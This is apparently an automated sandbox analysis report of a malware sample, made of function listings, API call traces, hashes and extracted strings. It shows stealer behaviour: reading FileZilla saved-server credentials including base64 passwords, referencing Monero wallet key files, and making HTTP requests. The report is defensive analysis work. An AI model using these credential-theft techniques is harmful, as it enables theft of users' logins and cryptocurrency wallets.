Source File: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9126631bc8aa0710d869af34504d8296e4ad7cf3988633abe46731ecde8c19a3
Instruction ID: 9a78d61a84f26528dcb94958f7a42e92c3851b1123c7b9e2c35bf1e2176479a4
Opcode Fuzzy Hash: 9126631bc8aa0710d869af34504d8296e4ad7cf3988633abe46731ecde8c19a3
Instruction Fuzzy Hash: 134117B3A082045FF304AE28DD9573BB7D6EB94320F1A853DDAC5D3784E93A68158296

Function 011115D4 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb146d2175f3404f0d42e430a9b497bf52bb28c7a6d35048c45d18ff122c7b07
Instruction ID: 173c11cfa0ba699b9ac9cdbc6bd682aea335d5a028471209c8daefa798399b94
Opcode Fuzzy Hash: cb146d2175f3404f0d42e430a9b497bf52bb28c7a6d35048c45d18ff122c7b07
Instruction Fuzzy Hash: 6331E2F3E181008BF304AA39DC967B776E7ABD0715F1B853DDA8987384ED7808468696

Function 00DF9750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00DF0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Part of subcall function 00DF8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00DF8E0B

Part of subcall function 00DFA920: lstrcpy.KERNEL32(00000000,?), ref: 00DFA972
Part of subcall function 00DFA920: lstrcat.KERNEL32(00000000), ref: 00DFA982

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

Part of subcall function 00DFA9B0: lstrlen.KERNEL32(?,00838998,?,\Monero\wallet.keys,00E00E17), ref: 00DFA9C5
Part of subcall function 00DFA9B0: lstrcpy.KERNEL32(00000000), ref: 00DFAA04
Part of subcall function 00DFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DFAA12

Part of subcall function 00DFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DFA7E6

Part of subcall function 00DE99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00DE99EC
Part of subcall function 00DE99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00DE9A11
Part of subcall function 00DE99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00DE9A31
Part of subcall function 00DE99C0: ReadFile.KERNEL32(000000FF,?,00000000,00DE148F,00000000), ref: 00DE9A5A
Part of subcall function 00DE99C0: LocalFree.KERNEL32(00DE148F), ref: 00DE9A90
Part of subcall function 00DE99C0: CloseHandle.KERNEL32(000000FF), ref: 00DE9A9A

Part of subcall function 00DF8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00DF8E52

GetProcessHeap.KERNEL32(00000000,000F423F,00E00DBA,00E00DB7,00E00DB6,00E00DB3), ref: 00DF0362
RtlAllocateHeap.NTDLL(00000000), ref: 00DF0369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00DF0385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E00DB2), ref: 00DF0393
StrStrA.SHLWAPI(00000000,<Port>), ref: 00DF03CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E00DB2), ref: 00DF03DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00DF0419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E00DB2), ref: 00DF0427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00DF0463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E00DB2), ref: 00DF0475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E00DB2), ref: 00DF0502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E00DB2), ref: 00DF051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E00DB2), ref: 00DF0532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E00DB2), ref: 00DF054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00DF0562
lstrcat.KERNEL32(?,profile: null), ref: 00DF0571
lstrcat.KERNEL32(?,url: ), ref: 00DF0580
lstrcat.KERNEL32(?,00000000), ref: 00DF0593
lstrcat.KERNEL32(?,00E01678), ref: 00DF05A2
lstrcat.KERNEL32(?,00000000), ref: 00DF05B5
lstrcat.KERNEL32(?,00E0167C), ref: 00DF05C4
lstrcat.KERNEL32(?,login: ), ref: 00DF05D3
lstrcat.KERNEL32(?,00000000), ref: 00DF05E6
lstrcat.KERNEL32(?,00E01688), ref: 00DF05F5
lstrcat.KERNEL32(?,password: ), ref: 00DF0604
lstrcat.KERNEL32(?,00000000), ref: 00DF0617
lstrcat.KERNEL32(?,00E01698), ref: 00DF0626
lstrcat.KERNEL32(?,00E0169C), ref: 00DF0635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E00DB2), ref: 00DF068E

Strings

login: , xrefs: 00DF05CA
password: , xrefs: 00DF05FB
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00DF02A4
<User>, xrefs: 00DF0410
<Port>, xrefs: 00DF03C6
profile: null, xrefs: 00DF0568
url: , xrefs: 00DF0577
browser: FileZilla, xrefs: 00DF0559
<Host>, xrefs: 00DF037C
<Pass encoding="base64">, xrefs: 00DF045A

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: c3048a427bd3c1d2822412301d6a6d6f99e510523dc8a429b3820ca948fde0e7
Instruction ID: b7bb603ef3a399463ac33120869e00bbdd1f0f4974fba9978a7e70eedd402dec
Opcode Fuzzy Hash: c3048a427bd3c1d2822412301d6a6d6f99e510523dc8a429b3820ca948fde0e7
Instruction Fuzzy Hash: B8D10BB5900208ABCB14EBE4DD96EFEB778EF14300F558418F606A7085DE75AA4ACB71

Function 00DE5960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00DFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DFA7E6

Part of subcall function 00DE47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00DE4839
Part of subcall function 00DE47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00DE4849

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00DE59F8
StrCmpCA.SHLWAPI(?,00840B30), ref: 00DE5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00DE5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,00840BE0,00000000,?,0083FAE0,00000000,?,00E01A1C), ref: 00DE5E71
lstrlen.KERNEL32(00000000), ref: 00DE5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00DE5E93
RtlAllocateHeap.NTDLL(00000000), ref: 00DE5E9A
lstrlen.KERNEL32(00000000), ref: 00DE5EAF
lstrlen.KERNEL32(00000000), ref: 00DE5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00DE5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00DE5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00DE5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00DE5F4C
InternetCloseHandle.WININET(00000000), ref: 00DE5FB0
InternetCloseHandle.WININET(00000000), ref: 00DE5FBD
HttpOpenRequestA.WININET(00000000,00840C10,?,00840030,00000000,00000000,00400100,00000000), ref: 00DE5BF8

Part of subcall function 00DFA9B0: lstrlen.KERNEL32(?,00838998,?,\Monero\wallet.keys,00E00E17), ref: 00DFA9C5
Part of subcall function 00DFA9B0: lstrcpy.KERNEL32(00000000), ref: 00DFAA04
Part of subcall function 00DFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DFAA12

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

Part of subcall function 00DFA920: lstrcpy.KERNEL32(00000000,?), ref: 00DFA972
Part of subcall function 00DFA920: lstrcat.KERNEL32(00000000), ref: 00DFA982

InternetCloseHandle.WININET(00000000), ref: 00DE5FC7

Strings

", xrefs: 00DE5CD5
------, xrefs: 00DE5A96
------, xrefs: 00DE5C0B
", xrefs: 00DE5E16
------, xrefs: 00DE5D4C

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 9cefeb6ad57131207380e2bdf477570a800d713f401f9c463224ccc711409869
Instruction ID: 3682308ecdcbc4f76b2aa365f8a6cd826c0c79ab012a788683c108b3228f7c83
Opcode Fuzzy Hash: 9cefeb6ad57131207380e2bdf477570a800d713f401f9c463224ccc711409869
Instruction Fuzzy Hash: 2F121CB192012CAACB15EBA4DC95FEEB378FF14740F5181A9F20A66091DF702A49CF75

Function 00DECEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Part of subcall function 00DFA9B0: lstrlen.KERNEL32(?,00838998,?,\Monero\wallet.keys,00E00E17), ref: 00DFA9C5
Part of subcall function 00DFA9B0: lstrcpy.KERNEL32(00000000), ref: 00DFAA04
Part of subcall function 00DFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DFAA12

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

Part of subcall function 00DF8B60: GetSystemTime.KERNEL32(00E00E1A,0083FC00,00E005AE,?,?,00DE13F9,?,0000001A,00E00E1A,00000000,?,00838998,?,\Monero\wallet.keys,00E00E17), ref: 00DF8B86

Part of subcall function 00DFA920: lstrcpy.KERNEL32(00000000,?), ref: 00DFA972
Part of subcall function 00DFA920: lstrcat.KERNEL32(00000000), ref: 00DFA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00DECF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00DED0C7
RtlAllocateHeap.NTDLL(00000000), ref: 00DED0CE
lstrcat.KERNEL32(?,00000000), ref: 00DED208
lstrcat.KERNEL32(?,00E01478), ref: 00DED217
lstrcat.KERNEL32(?,00000000), ref: 00DED22A
lstrcat.KERNEL32(?,00E0147C), ref: 00DED239
lstrcat.KERNEL32(?,00000000), ref: 00DED24C
lstrcat.KERNEL32(?,00E01480), ref: 00DED25B
lstrcat.KERNEL32(?,00000000), ref: 00DED26E
lstrcat.KERNEL32(?,00E01484), ref: 00DED27D
lstrcat.KERNEL32(?,00000000), ref: 00DED290
lstrcat.KERNEL32(?,00E01488), ref: 00DED29F
lstrcat.KERNEL32(?,00000000), ref: 00DED2B2
lstrcat.KERNEL32(?,00E0148C), ref: 00DED2C1
lstrcat.KERNEL32(?,00000000), ref: 00DED2D4
lstrcat.KERNEL32(?,00E01490), ref: 00DED2E3

Part of subcall function 00DFA820: lstrlen.KERNEL32(00DE4F05,?,?,00DE4F05,00E00DDE), ref: 00DFA82B
Part of subcall function 00DFA820: lstrcpy.KERNEL32(00E00DDE,00000000), ref: 00DFA885

lstrlen.KERNEL32(?), ref: 00DED32A
lstrlen.KERNEL32(?), ref: 00DED339

Part of subcall function 00DFAA70: StrCmpCA.SHLWAPI(00838B28,00DEA7A7,?,00DEA7A7,00838B28), ref: 00DFAA8F

DeleteFileA.KERNEL32(00000000), ref: 00DED3B4

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: ea9fb6e6690cd3a5d14591edfbc9ef6dbd8c8bdfab131ee2c7ddd94e195d1141
Instruction ID: 5f7ec0825357541f0b8287e9b6aa911a529e14a9a8ef491ee9cf2ab3537a5723
Opcode Fuzzy Hash: ea9fb6e6690cd3a5d14591edfbc9ef6dbd8c8bdfab131ee2c7ddd94e195d1141
Instruction Fuzzy Hash: D1E13FB1910109ABCB24FBA4DD96EFE7378EF14300F118158F60AB7495DE75AA09CB72

Function 00DEC990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Part of subcall function 00DFA920: lstrcpy.KERNEL32(00000000,?), ref: 00DFA972
Part of subcall function 00DFA920: lstrcat.KERNEL32(00000000), ref: 00DFA982

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

Part of subcall function 00DFA9B0: lstrlen.KERNEL32(?,00838998,?,\Monero\wallet.keys,00E00E17), ref: 00DFA9C5
Part of subcall function 00DFA9B0: lstrcpy.KERNEL32(00000000), ref: 00DFAA04
Part of subcall function 00DFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DFAA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0083E920,00000000,?,00E0144C,00000000,?,?), ref: 00DECA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00DECA89
GetFileSize.KERNEL32(00000000,00000000), ref: 00DECA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00DECAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00DECAD9
StrStrA.SHLWAPI(?,0083EAB8,00E00B52), ref: 00DECAF7
StrStrA.SHLWAPI(00000000,0083E9B0), ref: 00DECB1E
StrStrA.SHLWAPI(?,0083F228,00000000,?,00E01458,00000000,?,00000000,00000000,?,00838B98,00000000,?,00E01454,00000000,?), ref: 00DECCA2
StrStrA.SHLWAPI(00000000,0083F2E8), ref: 00DECCB9

Part of subcall function 00DEC820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00DEC871
Part of subcall function 00DEC820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00DEC87C

StrStrA.SHLWAPI(?,0083F2E8,00000000,?,00E0145C,00000000,?,00000000,00838B68), ref: 00DECD5A
StrStrA.SHLWAPI(00000000,00838948), ref: 00DECD71

Part of subcall function 00DEC820: lstrcat.KERNEL32(?,00E00B46), ref: 00DEC943
Part of subcall function 00DEC820: lstrcat.KERNEL32(?,00E00B47), ref: 00DEC957
Part of subcall function 00DEC820: lstrcat.KERNEL32(?,00E00B4E), ref: 00DEC978

lstrlen.KERNEL32(00000000), ref: 00DECE44
CloseHandle.KERNEL32(00000000), ref: 00DECE9C

Strings

, xrefs: 00DEC9C6

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: 81b67ead00f9fb401bd4fabc4d9fe1c5622cce1512b574c8e35388da92795325
Instruction ID: 845b5696a829c604c025fe2660ba783e01042a4413e738a344975b42b0558feb
Opcode Fuzzy Hash: 81b67ead00f9fb401bd4fabc4d9fe1c5622cce1512b574c8e35388da92795325
Instruction Fuzzy Hash: C5E1F9B190010CABDB14EBA8DC91FEEB778EF14340F518169F20A67195EF746A4ACB71

Function 00DF8320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

RegOpenKeyExA.ADVAPI32(00000000,0083BD50,00000000,00020019,00000000,00E005B6), ref: 00DF83A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00DF8426
wsprintfA.USER32 ref: 00DF8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00DF847B
RegCloseKey.ADVAPI32(00000000), ref: 00DF848C
RegCloseKey.ADVAPI32(00000000), ref: 00DF8499

Part of subcall function 00DFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DFA7E6

Strings

?, xrefs: 00DF837A
%s\%s, xrefs: 00DF844D
- , xrefs: 00DF85A3

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
